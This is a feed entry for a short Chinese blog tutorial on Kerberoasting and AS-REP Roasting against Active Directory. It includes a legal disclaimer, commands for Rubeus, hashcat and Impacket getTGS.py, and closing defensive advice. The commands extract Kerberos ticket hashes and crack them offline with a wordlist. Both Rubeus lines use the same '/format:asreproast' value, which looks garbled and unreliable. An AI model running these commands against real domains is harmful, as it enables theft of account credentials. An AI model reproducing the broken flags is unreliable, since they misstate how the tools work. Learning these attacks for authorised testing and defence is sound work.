https://souljian.cn/tags/as-rep/Recent content in AS-REP on SoulJian小站Hugo -- gohugo.ioen-usSun, 30 Aug 2026 10:00:00 +0800https://souljian.cn/p/751088150/Sat, 29 Aug 2026 14:00:00 +0800https://souljian.cn/p/751088150/<h2 id="写在前面合法学习边界">写在前面：合法学习边界 </h2><p>域渗透只在授权测试环境进行。对非授权 AD 域进行攻击可能触犯法律。</p> <h2 id="一kerberoasting-实战">一、Kerberoasting 实战 </h2><img src="https://souljian.cn/img/kerberoasting-flow.svg" alt="Kerberoasting 与 AS-REP Roasting" /> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">Kerberoasting：有域用户 → 请求 TGS → hashcat 破解 </span></span><span class="line"><span class="cl">AS-REP Roasting：无域用户 → 请求 TGT → hashcat 破解 </span></span></code></pre></td></tr></table> </div> </div><h2 id="二常用命令">二、常用命令 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Rubeus Kerberoasting</span> </span></span><span class="line"><span class="cl">Rubeus.exe kerberoast /format:asreproast </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># Rubeus AS-REP Roasting</span> </span></span><span class="line"><span class="cl">Rubeus.exe asreproast /format:asreproast </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># hashcat 破解</span> </span></span><span class="line"><span class="cl">hashcat -m <span class="m">13100</span> tgs.out rockyou.txt </span></span><span class="line"><span class="cl">hashcat -m <span class="m">18200</span> asrep.out rockyou.txt </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># Impacket getTGS</span> </span></span><span class="line"><span class="cl">getTGS.py domain/user /spn:HTTP/target </span></span></code></pre></td></tr></table> </div> </div><h2 id="三防御加固">三、防御加固 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">强制启用 Kerberos 预认证 </span></span><span class="line"><span class="cl">使用强密码（16位+大小写+特殊字符） </span></span><span class="line"><span class="cl">监控异常 TGS 请求 </span></span></code></pre></td></tr></table> </div> </div><h2 id="四小结">四、小结 </h2><p>Kerberoasting 是域渗透中最常见的凭据获取方式。防御核心是<strong>强制启用预认证 + 强密码策略</strong>。</p>